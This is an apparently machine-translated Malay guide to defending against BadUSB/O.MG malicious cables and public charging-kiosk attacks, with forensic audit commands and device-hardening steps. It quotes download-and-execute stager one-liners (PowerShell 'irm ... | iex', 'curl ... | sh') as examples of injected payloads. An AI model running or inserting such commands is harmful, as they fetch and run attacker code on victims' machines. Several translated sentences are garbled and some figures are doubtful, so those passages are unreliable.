Skip to content

Kabel USB Hasad (HID Suntikan / BadUSB) dan Pertahanan Kios Awam

Nombor kecemasan berbeza mengikut negara. Halaman ini menggunakan 911, nombor untuk Amerika Syarikat dan Kanada. Banyak negara lain menggunakan 112, 999, atau nombor lain. Cari nombor untuk negara anda.

Memalamkan komputer riba, telefon pintar atau tablet anda ke dalam kord pengecas USB-C atau Lightning yang tidak dikenali yang ditinggalkan di meja hotel, pintu masuk lapangan terbang, tempat duduk belakang rideshare atau beg swag persidangan, atau melihat dialog Windows Run (Win + R), tetingkap PowerShell atau Terminal macOS berkelip merentasi skrin anda selama 500 milisaat dan mula menaip pada 1,000 perkataan seminit sejurus selepas menyambungkan kabel USB, pemacu denyar atau klik pembentangan, ialah tandatangan BadUSB / HID (Peranti Antara Muka Manusia) Ketukan Kekunci Serangan Suntikan atau **Public Charging Kiosk (**Eksploitasi Jus). Tidak seperti perisian hasad tradisional yang disimpan sebagai fail pada pemacu ibu jari yang boleh diperiksa oleh pengimbas antivirus sebelum dibuka, implan perkakasan bersenjata seperti O.MG Cable, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny, dan USBHarpoon membenamkan mikropengawal kecil dan plastik Wi-Fi yang disambungkan terus ke dalam acuan atau plastik biasa Samsung atau penyambung Apple. kord pengecasan (hampir 12 milimeter atau 0.47 inci panjang).

Apabila dipalamkan ke komputer anda atau telefon pintar yang tidak berkunci, mikropengawal tersembunyi itu tidak mengumumkan dirinya kepada sistem pengendalian anda sebagai pemacu storan atau pengecas. Sebaliknya, ia menghitung melalui USB D+ dan D- pin data sebagai standard USB HID Keyboard (Class 0x03) atau Penyesuai Rangkaian Ethernet USB (RNDIS / ECM). Oleh kerana Windows, macOS, Linux, iOS dan Android sememangnya mempercayai papan kekunci yang baru dipalamkan tanpa memerlukan pemacu atau imbasan antivirus, kabel dengan serta-merta menyalakan urutan ketukan kekunci yang dipraprogramkan (Win + R -> powershell -w hidden -ep bypass ... pada Windows, atau Cmd + Space -> Terminal pada macOS) atau mencetuskan muatan Wi-Fi yang dikawal dari jauh apabila penyerang dalam jarak 90 meter (300 kaki) mengklik "Laksanakan" pada telefon mereka. Untuk hotspot wayarles yang lebih luas dan ancaman rangkaian perjalanan di samping port pengecasan, rujuk juga kami Wi-Fi awam, Evil Twin, dan panduan pertahanan juice jacking. Jika anda menghadapi ancaman fizikal atau peras ugut, hubungi nombor kecemasan tempatan anda (911 di Amerika Syarikat dan Kanada, 112 merentasi Kesatuan Eropah, 999 di United Kingdom) atau lihat kami nombor kecemasan direktori. Ikuti pengasingan perkakasan segera dan tindakan pemulihan forensik di bawah.

Lakukan ini sekarang

  1. KELUARKAN kabel USB, pemacu denyar, dok atau kord pengecas yang disyaki daripada port peranti anda dengan SEGERA: Setiap saat, Kabel BadUSB atau O.MG kekal dipalamkan ke dalam komputer atau telefon yang tidak berkunci membenarkan mikropengawal dalamannya (atau penyerang berdekatan disambungkan ke tempat liputan Wi-Fi dalaman yang tersembunyi kabel) untuk menyuntik ketukan kekunci, keluarkan rangkaian data/jaringan data yang tersembunyi atau keluarkan kekunci melalui saluran USB. kata laluan yang anda taip pada papan kekunci luaran anda.
  2. Putuskan sambungan komputer riba atau telefon yang terjejas daripada Wi-Fi, Ethernet dan Bluetooth sekarang, dan JANGAN taipkan sebarang kata laluan pada mesin itu: Muatan BadUSB / Rubber Ducky 2 saat standard tidak menulis program besar pada antara muka papan kekunci yang perlahan; sebaliknya, ia menaip perintah "stager" 1 baris ke dalam PowerShell (iex (irm http://...)) atau Terminal macOS (curl -s http://... | sh) yang memuat turun infostealer penuh atau trojan akses jauh melalui sambungan Wi-Fi anda. Pemotongan Wi-Fi dan Ethernet serta-merta mematikan muat turun atau menghentikan exfiltration.
  3. Jika anda mengetik "Percaya Komputer Ini" pada iPhone/iPad anda atau memilih "Pemindahan Fail (MTP) / Benarkan Penyahpepijatan USB (ADB)" pada telefon Android anda di kios pengecasan awam, batalkan kepercayaan serta-merta:
  4. Pada iPhone / iPad: Cabut palam kord, pergi ke Tetapan > Pembangun (jika kelihatan di bahagian bawah Tetapan) -> ketik Kosongkan Komputer Dipercayai. Jika Pembangun tidak kelihatan, pergi ke Tetapan > Umum > Pindahkan atau Tetapkan Semula iPhone > Tetapkan Semula > Tetapkan Semula Lokasi & Privasi, yang secara kriptografi memadamkan semua pasangan lockdownd hos rekod pasangan jadi tiada komputer atau kiosk boleh mengakses sandaran iPhone anda sekali lagi tanpa kod laluan anda.
  5. Pada Android: Cabut palam kord, pergi ke Tetapan > Sistem > Pilihan pembangun (jika didayakan) -> ketik Batalkan kebenaran penyahpepijatan USB dan matikan Pilihan pembangun sepenuhnya MATI.
  6. Periksa muatan ketukan kekunci BadUSB yang baru ditaip pada komputer anda dengan menandai kotak Run anda (RunMRU), Log arahan PowerShell (PSReadLine), dan sejarah Terminal macOS: Sebelum but semula, buka tetingkap terminal bersih pada komputer luar talian anda dan baca arahan tepat yang disuntik papan kekunci USB palsu ke dalam sistem anda menggunakan kami arahan audit forensik dalam Fasa 2.
  7. Simpan kabel USB atau pemacu ibu jari yang mencurigakan dalam bekas logam atau beg Faraday (JANGAN pasangkannya semula ke mana-mana komputer untuk "melihat apa yang ada padanya"): Oleh kerana Kabel O.MG mengandungi transceiver Wi-Fi ESP8266/ESP32 aktif yang dihidupkan setiap kali ia menerima 5 volt (walaupun apabila dipalamkan ke dalam dinding yang terpasang pada bateri yang tersorok), kabel USB dipalamkan pada dinding atau bateri yang tersembunyi. titik dan membenarkan penyerang di luar bilik hotel atau pejabat anda menyambung kepadanya atau mencetuskan kemusnahan diri (Self-Destruct / Wipe) ciri. Biarkan ia dicabut sepenuhnya.
  8. Jika muatan BadUSB melaksanakan skrip pada komputer anda semasa anda log masuk, putar semua bukti kelayakan dan batalkan sesi aktif daripada peranti yang berasingan dan bersih: Oleh kerana 90 peratus muatan BadUSB moden melancarkan pencuri maklumat yang mengambil kuki penyemak imbas dan menyimpan kata laluan dalam masa 3 saat, laksanakan rampasan kuki sesi dan panduan pembatalan token infostealer daripada telefon pintar yang bersih.

Danger

Mengapa "Kondom USB" (Penyekat Data Fizikal) ialah SAHAJA penghalang perkakasan yang dijamin apabila menggunakan port pengecasan yang tidak diketahui, dan mengapa ia TIDAK DAPAT melindungi anda daripada kabel berniat jahat yang dipalamkan ke sisi Peranti: Penyekat Data USB fizikal ("Kondom USB") ialah penyesuai pas-lalu kecil di mana pin data tengah (D+ dan D- pada USB-A, atau D+/D- dan TX/RX lorong berkelajuan tinggi pada USB-C) hilang secara fizikal, hanya meninggalkan VBUS (+5V hingga +20V kuasa) dan GND wayar (tanah) disambungkan. Walau bagaimanapun, tempat anda meletakkan penyekat data adalah penting: jika anda palamkan kabel bersih ke dalam penyekat data dan palamkan penyekat data ke port dinding lapangan terbang, anda 100 peratus selamat. Tetapi jika anda memasangkan Kabel O.MG yang berniat jahat terus ke dalam komputer riba atau telefon anda dan meletakkan penyekat data di hujung pengecas dinding, mikropengawal tersembunyi di dalam hujung penyambung yang dipalamkan ke peranti anda, jadi dinding itu memberikan kuasa 5V terus melalui penyekat data dan hujung berniat jahat masih menggodam peranti anda. Sentiasa pasangkan penyekat data terus pada telefon atau port komputer riba anda, atau bawa kabel anda yang disahkan dan bata dinding AC.


Pohon keputusan: bertindak balas kepada kabel USB yang disyaki berniat jahat atau pendedahan kios awam

Gunakan carta aliran taktikal ini untuk menentukan sama ada peranti anda telah terjejas selepas dipalamkan ke kabel USB, dok, pemacu ibu jari atau stesen pengecas awam yang tidak dipercayai:

flowchart TD
    Event["Dipalamkan Pada Kabel USB Tidak Diketahui, Pemacu Denyar Ditemui, Kios Hotel/Lapangan Terbang atau Denyar Tetingkap Terminal Saw/Jalankan pada Skrin"] --> Unplug["LANGKAH 1: Cabut Kabel USB / Peranti Serta-merta & Putuskan Sambungan Wi-Fi / Ethernet"]

    Unplug --> WhatDevice{"Peranti manakah yang telah dipalamkan ke dalam kord atau port USB yang tidak diketahui?"}

    WhatDevice -->|"Komputer riba / Desktop Windows, macOS atau Linux"| ScreenLocked{"Adakah Skrin Komputer DIKUNCI atau DIBUKA Apabila Dipasang?"}
    WhatDevice -->|"iPhone / iPad (iOS / iPadOS)"| iOSState{"Adakah iPhone Dibuka Kunci, dan Adakah Anda Ketik 'Percaya' atau Lihat Menaip?"}
    WhatDevice -->|"Telefon Pintar / Tablet Android"| AndroidState{"Adakah Telefon Dibuka Kunci, atau Adakah 'USB Debugging (ADB)' Didayakan?"}

    ScreenLocked -->|"Tidak Berkunci (Log Masuk Ke Desktop)"| AssumeHID["RISIKO TINGGI: Kabel BadUSB / O.MG Boleh Melaksanakan Ketukan Kekunci (Win+R / Cmd+Space) dalam <1.5 Saat Tanpa Sebarang Gesaan -> Pergi ke Audit Forensik Fasa 2"]
    ScreenLocked -->|"Dikunci (Skrin Kata Laluan)"| NetworkDMA["Semak Jika Thunderbolt/PCIe DMA atau USB Ethernet (RNDIS/DHCP Poisoning) Berlaku; Ketukan Kekunci Tidak Boleh Melangkau Skrin Kunci Tanpa Kata Laluan Anda"]

    iOSState -->|"Dikunci Sepanjang Masa (iOS 15+ / Mod Sekatan USB)"| iOSSafe["SELAMAT: 'Mod Sekatan USB' Apple Melumpuhkan Pin Data Secara Fizikal pada iPhone Berkunci -> Hanya Kuasa Lulus"]
    iOSState -->|"Dibuka Kunci & Diketik 'Amanah' (Atau Melihat Safari/Pintasan Dibuka)"| iOSRevoke["Jalankan Segera: Tetapan > Umum > Pindahkan atau Tetapkan Semula iPhone > Tetapkan Semula > Tetapkan Semula Lokasi & Privasi + Apl Pintasan Audit"]

    AndroidState -->|"Dikunci Sepanjang Masa (Mod Caj Sahaja)"| AndroidSafe["SELAMAT: Android Moden Lalai kepada 'Tiada Pemindahan Data (Caj Sahaja)' -> Tiada Data Lulus"]
    AndroidState -->|"Penaipan Skrin Tidak Berkunci & Gergaji atau ADB/MTP yang Diluluskan"| AndroidRevoke["Lumpuhkan Pilihan Pembangun -> Batalkan Penyahpepijatan USB -> Semak Apl Dipasang & Muat Turun Chrome"]

Memahami cara BadUSB, Kabel O.MG dan Serangan Pengecasan Awam Sebenarnya Berfungsi

Untuk mempertahankan diri anda dengan berkesan, dan mengelakkan kedua-dua kurang bertindak balas terhadap implan perkakasan sebenar dan panik terhadap port pengecasan yang tidak berbahaya, anda perlu memahami tiga mekanisme teknikal berbeza yang digunakan oleh penyerang melalui USB:

1. Suntikan Ketukan Kekunci BadUSB / HID (O.MG Cable, Rubber Ducky, Flipper Zero)

  • Kecacatan Reka Bentuk Asas USB: Bas Bersiri Universal (USB) spesifikasi membolehkan penyambung fizikal tunggal mengisytiharkan dirinya sebagai mana-mana kelas peranti semasa penghitungan (bInterfaceClass), atau malah sebagai Peranti Komposit (mengisytiharkan dirinya secara serentak sebagai Pemacu Denyar USB dan Papan Kekunci USB).
  • Di Dalam Kabel O.MG atau Pengecas Berniat jahat: Secara visual, Kabel O.MG 100 peratus tidak dapat dibezakan daripada kabel USB-C-ke-USB-C, USB-C-ke-Lightning atau USB-A Apple yang jalinan atau putih. Ia mengecas telefon anda dan memindahkan data seperti biasa. Walau bagaimanapun, tersembunyi di dalam hujung penyambung aktif ialah mikropengawal dwi teras mikroskopik dengan Wi-Fi 802.11 dan storan denyar:
  • Suntikan Ketukan Kekunci Aktif: Sebaik sahaja anda memasangkan kabel ke dalam PC Windows, Mac atau telefon pintar yang tidak berkunci, kabel tersebut dikira sebagai Papan Kekunci HID generik dan menaip sehingga 850 aksara sesaat (DuckyScript). Dalam masa 1.5 saat, ia menekan Win + R (Windows) atau Cmd + Space (Mac), melancarkan cangkerang latar belakang tersembunyi, memuat turun muatan dan menutup tetingkap.
  • Kekunci Perkakasan Dalam Talian (Untuk Papan Kekunci USB Luaran): Jika penyerang menukar kabel USB yang menyambungkan papan kekunci mekanikal luaran anda ke PC desktop anda dengan Kabel O.MG, implan itu duduk senyap di tengah wayar dan merekodkan ** sehingga 650,000 ketukan kekunci** (termasuk Bitwarden/1Password anda ke dalam memori Induk dan Kata Laluan denyar BIOS yang dimuat turun secara masuk ke dalam memori Induk dan Kata Laluan tanpa wayar, Windows yang diserang dengan PIN wayarles) di luar bangunan melalui Wi-Fi.
  • Geofenced & Time-Delayed Payloads: Tidak seperti USB Rubber Ducky mudah $50 yang menaip muatannya sebaik sahaja ia dipalamkan, Kabel O.MG boleh kekal tidak aktif sepenuhnya sebagai kord pengecas biasa selama hari atau minggu sehingga ia mengesan rangkaian Wi-Fi korporat anda (BSSID geofencing) atau sehingga penyerang mencetuskannya dari jauh melalui UI web terbina dalamnya.

2. Rampasan Penyesuai Rangkaian USB (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)

  • Walaupun skrin komputer riba anda dikunci (Win + L atau Ctrl + Cmd + Q) jadi papan kekunci USB palsu tidak boleh membuka tetingkap terminal, memasangkan peranti USB berniat jahat ke dalam port data USB yang tidak berkunci membolehkan peranti itu menghitung sebagai Penyesuai Ethernet USB Gigabit Keutamaan Tinggi (USB RNDIS atau CDC-ECM).
  • Oleh kerana Windows dan macOS secara automatik mengutamakan antara muka Ethernet berwayar yang baru disambungkan berbanding Wi-Fi, peranti USB menjadi gerbang lalai komputer riba anda melalui DHCP (0.0.0.0/1), memintas trafik rangkaian tempatan yang tidak disulitkan, bertindak balas kepada WPAD / LLMNR / mDNS pertanyaan, atau menyedut kuki penyemak imbas latar belakang bukan HttpOnly.

3. Kiosk Awam "Juice Jacking" (MTP / PTP / iOS lockdownd / Android ADB)

  • Apabila anda memasangkan telefon pintar ke port USB awam (di lapangan terbang, stesen kereta api, kepala katil hotel atau unit infotainmen kereta sewa) menggunakan kabel berkeupayaan data biasa:
  • Apa yang disekat secara automatik: Sejak iOS 11.4.1 / iOS 15+ (USB Restricted Mode) dan Android 9+ (Charge-Only Default), memalamkan telefon ke dalam port data USB tidak mendedahkan foto atau fail anda secara automatik. Pemindahan data disekat sehingga anda membuka kunci telefon DAN dengan jelas ketik "Percaya Komputer Ini" (tambah masukkan Kod Laluan iPhone anda) atau tukar pemberitahuan USB Android secara manual daripada Tiada pemindahan data kepada Pemindahan Fail (MTP) atau Benarkan Penyahpepijatan USB.
  • Di mana bahaya sebenar terletak di kiosk awam:
    1. ChoiceJacking & Suntikan HID pada Telefon Tidak Berkunci: Seperti yang ditunjukkan oleh penyelidik keselamatan Universiti Teknologi Graz (ChoiceJacking), jika telefon anda dikunci di tangan anda semasa anda memasangkannya ke dalam port USB awam yang berniat jahat, kiosk boleh mengira sebagai Papan Kekunci USB (HID) selama 200 milisaat dan hantar dengan tepat Tab / Enter atau ketukan kekunci bantuan diperlukan untuk klik gesaan "Benarkan / Pemindahan Fail" untuk anda pada skrin anda sebelum beralih ke mod pemindahan data hos.
    2. Kuasa Kotor / Kerosakan Perkakasan Voltan Lebih (USB Killer): Port USB awam yang disabotaj boleh membuang 200V DC daripada bank kapasitor terus ke dalam cip pengawal USB-C telefon anda, menggoreng papan logik secara kekal.

Matriks Perbandingan: Perkakasan Pertahanan USB & Perlindungan OS

Senario / Vektor Ancaman Adakah Penyekat Data USB Fizikal ("Kondom USB") Menghentikannya? Adakah OS "Mod Sekatan USB" (Skrin Terkunci) Menghentikannya? Alternatif 100% Selamat Terbaik
1. Pelabuhan USB Terbina Dalam Lapangan Terbang / Hotel / Kapal Terbang / Kereta Sewa (Menggunakan Kabel Dipercayai Anda Sendiri) YA (100%): Secara fizikal memutuskan D+/D- dan TX/RX talian data jadi ChoiceJacking, BadUSB, mahupun penyegerakan data tidak boleh menyeberangi penyesuai. YA (jika telefon kekal terkunci atau jika Kelulusan Aksesori USB-C macOS/Windows ditetapkan kepada Tanya Setiap Masa). Palamkan Bata Penyesuai Dinding AC/DC anda sendiri ke dalam soket AC 110V/230V standard, atau caj daripada Bank Kuasa Peribadi anda sendiri.
2. Tidak Diketahui / Dipinjam / "Ditemui" USB-C atau Kabel Lightning (Risiko Kabel O.MG) HANYA JIKA Penyekat Data diletakkan terus di antara hujung kabel dan port Telefon/Komputer riba anda (TIDAK di hujung pengecas dinding). TIDAK jika anda membuka kunci komputer riba/telefon anda semasa kabel dipalamkan dan Kelulusan Aksesori OS tidak didayakan. Jangan gunakan kabel yang ditemui, berbakat atau dipinjam. Bawa kabel bertanda anda sendiri atau gunakan Kabel Caj Sahaja (dibuat dengan hanya 2 wayar dalaman).
3. Pemacu Denyar USB berniat jahat, Pengklik Persembahan atau Tetikus N/A (Penyekat data akan menghentikan pemacu denyar atau tetikus daripada berfungsi sama sekali). TIDAK sebaik sahaja anda membuka kunci komputer dan membenarkan aksesori USB disambungkan. Periksa pemacu USB yang tidak dipercayai di dalam kotak pasir/VM terpencil dengan USB HID (Class 0x03) disekat melalui Polisi Kumpulan atau udev peraturan.
4. Lonjakan Voltan Tinggi Kapasitif (USB Killer) di Pelabuhan Disabotaj TIDAK (Penyekat data pasif $7 standard masih lulus VBUS dan GND secara langsung; hanya penyekat terlindung lonjakan terpencil yang aktif dengan diod/fius TVS menghentikan lonjakan 200V). TIDAK (Ini adalah serangan perkakasan elektrik pada papan induk). Jangan palamkan terus ke dalam slot USB awam yang tidak jelas; gunakan pengecas dinding AC atau pek bateri anda sendiri.

Fasa 1: Cara Mengesan Kabel USB Berniat Hasad Secara Visual dan Elektrik (Audit Kabel O.MG)

Jika anda menemui kabel USB yang mencurigakan di pejabat anda, disambungkan ke bahagian belakang papan kekunci PC desktop anda atau di dalam beg perjalanan anda, ikuti empat langkah ini untuk menentukan sama ada ia adalah implan perkakasan:

  1. Ujian #1: Ukur Kesinambungan atau Gunakan Penguji Kabel Perkakasan (O.MG Malicious Cable Detector / Bleeping / Hak5 Tester):
  2. Kabel pengecasan USB-A-ke-USB-C pasif standard, USB-A-to-Lightning atau bukan E-Marked USB-C tidak mengandungi arus penarik mikropemproses aktif apabila hanya satu hujung dipalamkan ke kuasa.
  3. O.MG Malicious Cable Detector (atau penganalisis arus/protokol USB sebaris seperti a Power-Z KM003C) terletak di antara sumber kuasa dan kabel dengan tiada apa-apa yang disambungkan ke hujung kabel:
    • Jika kabel menarik 30 hingga 120 miliamp (mA) arus pada 5V apabila tiada apa-apa dipasang pada hujung yang lain, atau cuba untuk berunding USB D+/D- penghitungan dengan sendirinya, terdapat komputer aktif / radio Wi-Fi tersembunyi di dalam kepala kabel.
  4. Ujian #2: Semak Titik Akses Wi-Fi Tersembunyi (O.MG SSID lalai atau Awalan MAC ESP32):
  5. Kabel O.MG dan implan BadUSB wayarles menggunakan Espressif (ESP8266 / ESP32-S2 / ESP32-C3) Cip Wi-Fi di dalam cangkerang penyambung.
  6. Menggunakan bank bateri USB terpencil di dalam kawasan faraday/terpencil (bukan komputer anda), membekalkan kuasa pada kabel O.MG yang tidak dikonfigurasikan atau lalai selalunya menyiarkan rangkaian Wi-Fi 2.4 GHz (SSID lalai O.MG di 192.168.4.1, atau SSID tersembunyi dengan Alamat MAC / BSSID OUI milik Espressif Inc. seperti 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22, melainkan ditipu).
  7. Ujian #3: Periksa Panjang Terlebih Acuan Penyambung dan Penjanaan Haba:
  8. Bandingkan cangkerang pelega terikan plastik kabel suspek dengan kabel Apple atau Anker tulen yang diketahui bersebelahan:
    • Walaupun generasi O.MG Cable baru-baru ini sepadan dengan dimensi cangkerang Apple yang tepat, selepas 3 minit menerima kuasa 5V, kepala penyambung yang mengandungi mikropengawal Wi-Fi aktif akan berasa terlihat hangat (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit) antara hujung jari anda walaupun semasa tiada telefon sedang dicas di hujung yang lain. (Kabel pasif biasa tanpa apa-apa dipasang pada hujungnya kekal sejuk sepenuhnya pada suhu bilik.)

Fasa 2: Triage Forensik Jika Kabel BadUSB atau O.MG Ditaip pada Komputer Anda

Jika anda memasangkan kabel USB, pemacu ibu jari atau persisian ke dalam komputer riba Windows PC, Mac atau Linux anda dan melihat menu Mula, dialog Jalankan (Win + R), Lampu Sorotan (Cmd + Space), atau tetingkap terminal hitam/biru berkelip buka dan tutup, jangan but semula. Jalankan arahan luar talian yang tepat ini untuk melihat apa yang ditaip papan kekunci USB palsu dan apa ID Penjual/Produk USB (VID:PID) disambungkan ke port anda:

1. Audit Forensik Windows 10 & Windows 11 (Jalankan dalam PowerShell Luar Talian)

Buka PowerShell (Admin) pada PC Windows luar talian dan jalankan empat arahan forensik ini:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List
  • Cara mentafsir Get-ItemProperty ... RunMRU:
  • Hampir setiap skrip Windows BadUSB / Rubber Ducky bermula dengan menekan Win + R (GUI r dalam DuckyScript) dan menaip arahan seperti powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex atau cmd /c curl ....
  • Walaupun skrip cuba padam RunMRU pada akhirnya, jika anda menarik kabel keluar pada pertengahan pelaksanaan (atau jika skrip tidak mengosongkan pendaftaran), URL dan arahan hasad yang tepat akan berada di dalam RunMRU (a, b, c nilai) atau dalam ConsoleHost_history.txt.

2. Audit Forensik macOS Apple (Jalankan dalam Terminal Luar Talian)

Pada macOS, muatan BadUSB biasanya tekan Cmd + Space (GUI SPACE), jenis Terminal, tekan Enter, dan jalankan a curl atau osascript satu pelapik:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Audit Forensik Linux (dmesg & journalctl)

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Jika mana-mana log di atas menunjukkan bahawa a powershell, cmd, mshta, curl, wget, atau osascript arahan dilaksanakan semasa disambungkan ke Internet, anggap pencuri maklumat atau pintu belakang berterusan dijalankan: batalkan semua sesi menggunakan kami rampasan kuki sesi dan panduan mencuri maklumat dan lakukan pemasangan semula OS yang bersih mengikut kami perisian hasad, perisian tebusan dan panduan jangkitan perisian intip.


Fasa 3: Mengunci Peranti Anda Jadi Kabel USB BadUSB Tidak Dapat Dilaksanakan Secara Automatik

Sistem pengendalian moden kini termasuk kunci port perkakasan terbina dalam yang berkuasa yang meneutralkan sepenuhnya BadUSB, O.MG Cables dan Rubber Duckies sebelum mereka boleh menaip satu aksara, dengan syarat anda menghidupkan tetapan tersebut:

1. Apple macOS (Apple Silicon M1 / M2 / M3 / M4 MacBooks): Dayakan "Minta Aksesori Baharu"

Pada Apple Silicon Mac yang menjalankan macOS Ventura, Sonoma atau Sequoia, Apple memperkenalkan keizinan port USB-C/Thunderbolt peringkat perkakasan yang menyekat mana-mana kabel USB atau peranti baharu daripada menghitung sebagai papan kekunci sehingga anda mengklik "Benarkan" dengan jelas: 1. Buka Menu Apple () > Tetapan Sistem > Privasi & Keselamatan. 2. Tatal ke bawah ke bahagian Keselamatan dan cari "Benarkan aksesori bersambung". 3. Tukar ia daripada Secara Automatik Apabila Dibuka kepada "Minta Aksesori Baharu" (atau "Tanya Setiap Masa" untuk perlindungan perjalanan keselamatan tinggi yang maksimum). 4. Mengapa ini menghentikan O.MG Cables sejuk pada Mac: Apabila anda memasangkan kabel pengecas O.MG yang mengelirukan dengan "Ask Every Time" atau "Minta Aksesori Baharu" didayakan, kuasa mengalir serta-merta untuk mengecas bateri MacBook anda, tetapi macOS memunculkan bacaan dialog amaran: "Allow accessory '[Device Name]' to connect to this Mac?" Kerana kabel pengecas pasif biasa tidak pernah meminta untuk disambungkan sebagai aksesori data, melihat pop timbul itu apabila memasang kord pengecas mudah dengan serta-merta mendedahkan kabel sebagai implan perkakasan sambil menyekat 100 peratus ketukan kekuncinya sehingga anda mencabutnya.

2. Apple iPhone & iPad: Sahkan "Mod Sekatan USB" Didayakan

  1. Buka Tetapan > Face ID & Kod Laluan (atau Sentuh ID & Kod Laluan) dan masukkan kod laluan anda.
  2. Tatal ke bawah ke bahagian "Benarkan Akses Apabila Dikunci".
  3. Pastikan togol di sebelah Aksesori (atau Aksesori USB) dihidupkan DIMATIKAN (kelabu).
  4. Dengan Aksesori dimatikan DIMATIKAN, setiap kali iPhone anda dikunci, iOS menyahdayakan pin data USB secara fizikal, membenarkan hanya kuasa pengecasan berlalu. Sentiasa tekan butang sisi untuk mengunci skrin iPhone anda SEBELUM memasangkannya ke mana-mana pengecas atau kereta sewa yang tidak dikenali.

3. Android 15 / 16 & GrapheneOS: Dayakan "Perlindungan Lanjutan" / Kunci Port USB

  • Pada Android standard (Pixel, Samsung Galaxy):
  • Jangan sekali-kali meninggalkan Pilihan Pembangun > Penyahpepijatan USB (ADB) didayakan semasa melancong.
  • Dalam Tetapan > Keselamatan & privasi > Lagi tetapan keselamatan (atau Perlindungan Lanjutan pada Android 15/16+), dayakan Perlindungan USB / Sekat peranti USB baharu semasa dikunci.
  • Sentiasa kunci skrin anda sebelum menyambung ke mana-mana port pengecasan awam supaya serangan ChoiceJacking HID tidak boleh berinteraksi dengan skrin yang tidak berkunci.

4. Linux & Windows Enterprise: USBGuard dan Sekatan Pemasangan Peranti

  • Di Linux (USBGuard): Pasangkan usbguard daemon (sudo apt install usbguard), yang menyekat mana-mana peranti USB yang baru disambungkan untuk menegaskan bInterfaceClass 03 (Papan Kekunci HID) jika papan kekunci utama sudah dilampirkan atau sehingga dibenarkan secara jelas melalui usbguard allow-device.
  • Pada Windows 11 Pro / Perusahaan: Dayakan Perlindungan DMA Kernel (BitLocker + VBS) dalam Keselamatan Windows > Keselamatan Peranti > Pengasingan Teras untuk menghentikan serangan Thunderbolt/PCIe DMA dan sentiasa mengunci stesen kerja anda (Win + L) sebelum memasang sebarang kabel USB yang tidak dikenali supaya penyuntik ketukan kekunci tidak boleh mengakses cangkerang desktop yang dilog masuk.

Soalan lazim

Bolehkah kabel O.MG atau kord BadUSB yang berniat jahat menggodam iPhone atau telefon Android saya jika saya hanya memasangkannya semasa skrin telefon saya dikunci?

Jika iPhone anda mempunyai Tetapan > ID Wajah & Kod Laluan > Benarkan Akses Apabila Dikunci > Aksesori berpaling DIMATIKAN (lalai pada iOS 15 hingga iOS 18) dan skrin anda dikunci apabila anda memasangkan kabel, tiada data atau ketukan kekunci boleh mencapai iPhone anda kerana iOS melumpuhkan talian data USB pada tahap pengawal perkakasan sehingga anda membuka kunci telefon dengan Face ID atau kod laluan anda. Walau bagaimanapun, apabila anda membuka kunci iPhone anda semasa Kabel O.MG itu masih dipalamkan, kabel itu boleh dikira sebagai papan kekunci USB luaran dan menghantar pintasan papan kekunci iOS dengan pantas (seperti Cmd + Ruang untuk membuka Spotlight, buka Safari ke URL profil pancingan data/konfigurasi, atau cetuskan Pintasan Apple). Jangan biarkan kabel USB yang ditemui atau tidak dipercayai dipalamkan semasa membuka kunci telefon anda.

Bagaimanakah saya boleh membezakan antara kabel USB "Caj Sahaja" sebenar dan kabel data USB biasa?

Oleh kerana pengeluar jarang mencetak simbol pada kabel yang membezakan kord caj sahaja daripada kord data, ujian selamat yang paling mudah ialah memasangkan kabel antara komputer dan peranti lama yang tidak kritikal (atau gunakan Papan penguji kesinambungan pinout kabel USB sebaris $10 seperti Penguji Kabel USB Treedix, yang menyalakan LED individu untuk setiap wayar dalaman tanpa mengebut sebarang mikropengawal). Pada papan penguji kesinambungan, benar Kabel Caj Sahaja akan menyala sahaja VBUS dan GND (2 LED), manakala kabel berkeupayaan data juga akan menyala D+ dan D- (dan CC1/TX/RX pada USB-C). Sebagai alternatif, simpan dedikasi penyesuai Penyekat Data USB fizikal dilekatkan secara kekal pada hujung kord pengecas perjalanan anda di mana anda boleh melihat secara fizikal di dalam port wanita dan mengesahkan dengan mata anda sendiri bahawa pin data tengah tiada.

Adakah selamat untuk memasangkan kabel pengecas saya sendiri ke alur keluar kuasa AC (soket dinding 2-cabang / 3-cabang) di lapangan terbang atau hotel dan bukannya port USB terbina dalam?

